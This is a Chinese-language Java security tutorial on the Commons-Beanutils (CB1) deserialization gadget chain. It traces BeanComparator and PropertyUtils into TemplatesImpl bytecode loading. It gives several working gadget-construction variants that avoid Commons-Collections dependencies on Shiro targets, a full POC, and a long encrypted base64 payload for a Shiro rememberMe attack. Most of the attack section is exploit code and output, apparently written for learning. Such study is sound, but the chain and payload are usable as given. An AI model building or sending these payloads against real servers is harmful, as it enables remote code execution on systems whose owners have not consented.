java安全-CB1

  • 环境pom文件加载依赖如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
</dependencies>

一、Apache Commons Beanutils

1.BeanUtils

Apache Commons Beanutils 是一个用于简化 Java Bean 操作的开源工具库

简单来说,它的核心作用是:利用 Java 反射机制(Reflection),让你能够通过“字符串名称”来动态地读取或修改对象的属性,以及在不同对象之间自动拷贝属性

如果没有这个库,使用原生 Java 反射来操作属性会非常繁琐(需要处理 Class, Method, Field 等对象并捕获各种异常)。Beanutils 把这些复杂的操作封装成了简单的方法

主要作用如下:

1. 属性拷贝

这是 Beanutils 最常见的使用场景。当你有两个属性极其相似的对象(比如数据库实体类 UserEntity 和前端展示类 UserDTO),你需要把一个对象的值赋给另一个对象

  • 原生做法: 手动写一堆 dest.setName(src.getName()); dest.setAge(src.getAge()); ...

  • Beanutils 做法:

    1
    2
    // 将 orig 对象的属性值拷贝到 dest 对象中(属性名必须相同)
    BeanUtils.copyProperties(dest, orig);

2. 动态设置/获取属性

你可以通过字符串形式的属性名来操作对象,这在处理动态数据(如解析 XML、JSON 或处理 HTTP 请求参数)时非常有用。

1
2
3
4
5
6
User user = new User();
// 相当于 user.setName("张三");
BeanUtils.setProperty(user, "name", "张三");

// 甚至支持嵌套属性,例如 user.getAddress().setCity("北京");
BeanUtils.setProperty(user, "address.city", "北京");

3. Map 与 Bean 的互相转换

它可以将一个 Map<String, Object> 里的键值对直接填充到一个 Java Bean 中,或者反过来。

  • 场景: Web 开发中,前端传来的参数通常是一个 Map,你可以用它直接生成 User 对象。

    1
    2
    3
    4
    5
    6
    7
    Map<String, Object> map = new HashMap<>();
    map.put("username", "admin");
    map.put("age", 18);

    User user = new User();
    // 自动将 map 中的值填充到 user 对象的对应属性中
    BeanUtils.populate(user, map);

2.getProperty方法

BeanUtils中提供的一种静态方法,可以调用javabean中的getter方法,获取bean种属性的值

1
System.out.println(PropertyUtils.getProperty(new Baby("chuanchuan"), "name"));  

本质上就是调用name 属性的getter 方法,也就是 getName 方法

具体逻辑

org/apache/commons/beanutils/PropertyUtils#getProperty这个类是包装入口

image-20260216100844026

这个去调用了

org/apache/commons/beanutils/PropertyUtilsBean#getNestedProperty这个类是具体逻辑处理类

image-20260216101029172

org/apache/commons/beanutils/PropertyUtilsBean#getSimpleProperty接着是这个方法

主要逻辑如下

image-20260216102042951 image-20260216102239183 image-20260216102435652
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Object invokeMethod(
Method method,
Object bean,
Object[] values)
throws
IllegalAccessException,
InvocationTargetException {
if(bean == null) {
throw new IllegalArgumentException("No bean specified " +
"- this should have been checked before reaching this method");
}

try {

return method.invoke(bean, values);

这个 invoke 方法本质上是调用反射启动

image-20260216102701102

逻辑结束

二、漏洞点

1.危险类

在之前使用TemplatesImpl动态加载字节码文件时,提到上层存在getOutputProperties方法也可调用危险类

image-20260216103109878

于是乎,构造一段恶意类代码

1
2
3
4
5
6
7
8
byte[] code = Files.readAllBytes(Paths.get("D:\\小川\\code\\javasec\\CC1\\target\\classes\\CC1\\HelloTranslet.class"));
TemplatesImpl obj = new TemplatesImpl();
//反射修改内部属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

PropertyUtils.getProperty(obj,"outputProperties");

通过验证,确实可以执行calc命令

2.链接点

查找谁调用PropertyUtils.getProperty方法,并且参数可控

org/apache/commons/beanutils/BeanComparator#compare方法

image-20260216104616479

property参数可控,可以在构造参数处赋值

1
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
image-20260216104944143

o1参数可以在优先队列比较时赋值

1
2
queue.add(obj);
queue.add(12);

3.入口类

compare方法可以在CC4优先队列中链接

image-20260216105456815

CC4中利用TransformingComparatorcompare方法调用transform方法

这里我们利用其调用我们的BeanComparatorcompare方法调用PropertyUtils.getProperty(obj,"outputProperties");

1
2
3
4
5
6
7
8
9
10
11
12
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(comparator);

queue.add(obj);
queue.add(12);

setFieldValue(queue,"comparator",beanComparator);

serialize(queue);
unserialize();

成功实现

4.细节点

  • PriorityQueue使用commons collections虚晃一招

PriorityQueue<Object> queue = new PriorityQueue<>();

为了防止在序列化之前就爆炸,我们需要在队列添加元素之后通过反射在给予危险类

1
2
3
PriorityQueue<Object> queue = new PriorityQueue<>();

setFieldValue(queue,"comparator",beanComparator);

但是,构造队列compare为空时,添加元素时会因为没有比较器报错,于是,沿用了CC4中使用的无害的TransformingComparator

1
2
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(comparator);

而且我们在最后反射修改了该类对象,不会影响到反序列化时环境中没有Commons Collections依赖

这也是一种构造危险链的方法

  • BeanComparator中默认Commons Collections依赖

BeanComparator beanComparator = new BeanComparator("outputProperties");

这里,我们构造BeanComparator时,使用的单参数构造方法

image-20260216111011048

但是,这里这个默认comparator是用到了Commons Collections中的类

org/apache/commons/collections/comparators/ComparableComparator.java

而在进行shiro反序列化攻击时,shiro环境默认时没有commons collections依赖的

于是找一个公开构造器方法并且实现Comparator接口的类,而且他也在shiro默认依赖环境的

也就是com/sun/org/apache/xml/internal/security/c14n/helper/AttrCompare.java

1
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
  • PriorityQueue初始化另外一种思路

发现org/apache/commons/beanutils/BeanComparator.java

研究发现这个类的compare方法

image-20260216171622707

propertynull时,直接调用比较器比较

因此,我们可以直接传入一个propertynullBeanComparator,然后添加俩个数字类型对象(直接添加恶意类会报错,原因比较器无法比较),之后再通过反射修改,最后在反序列化时爆发我们的炸弹

1
2
3
4
5
6
7
8
9
10
11
12
13
BeanComparator beanComparator = new BeanComparator(null);

PriorityQueue<Object> queue = new PriorityQueue<>(beanComparator);

queue.add(1);
queue.add(1);

setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{obj,obj});

serialize(queue);
System.out.println("序列化成功");
unserialize();

同时,这里依旧会产生之前的问题,调用commons collections中的比较器,这里我们选取的是CaseInsensitiveComparator这个比较器,之前的AttrCompare无法比较数字类型,通过以下获取

1
String.CASE_INSENSITIVE_ORDER

image-20260216173426195

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
byte[] code = Files.readAllBytes(Paths.get("D:\\小川\\code\\javasec\\CC1\\target\\classes\\CC1\\HelloTranslet.class"));
TemplatesImpl obj = new TemplatesImpl();
//反射修改内部属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

//PropertyUtils.getProperty(obj,"outputProperties");

BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);


PriorityQueue<Object> queue = new PriorityQueue<>(beanComparator);

queue.add("1");
queue.add("1");

setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{obj,obj});

serialize(queue);
System.out.println("序列化成功");
unserialize();
image-20260216172521087
  • 最后一个点就是要对应版本,ys 工具中生成的 CB 链是在1.9.2,我们 shiro 中式1.8.3

当我们发送版本不对应时报错信息

image-20260216165457623

在 Java 中,当一个对象需要被序列化(变成二进制流)时,Java 会给这个类打上一个“指纹”或者说“身份证号”,这个号码就是 serialVersionUID

版本不对应时,这个UID不同,因此报错,无法发生反序列化漏洞

三、终结

1.POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
byte[] code = Files.readAllBytes(Paths.get("D:\\小川\\code\\javasec\\CC1\\target\\classes\\CC1\\HelloTranslet.class"));
TemplatesImpl obj = new TemplatesImpl();
//反射修改内部属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

// PropertyUtils.getProperty(obj,"outputProperties");

BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(comparator);

queue.add(obj);
queue.add(12);

setFieldValue(queue,"comparator",beanComparator);


serialize(queue);
unserialize();

加密

1
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

实现成功

image-20260216091917161

2.逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PriorityQueue#readObject
PriorityQueue#heapify
PriorityQueue#siftDown
PriorityQueue#siftDownUsingComparator
BeanComparator#compare

PropertyUtils.getProperty( templatesImpl, "outputProperties" );


TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
//getTransletInstance()在调用完defineTransletClasses()方法后,对其返回的类做了实例化,从而执行我们类中的静态代码块

-> TransletClassLoader#defineClass()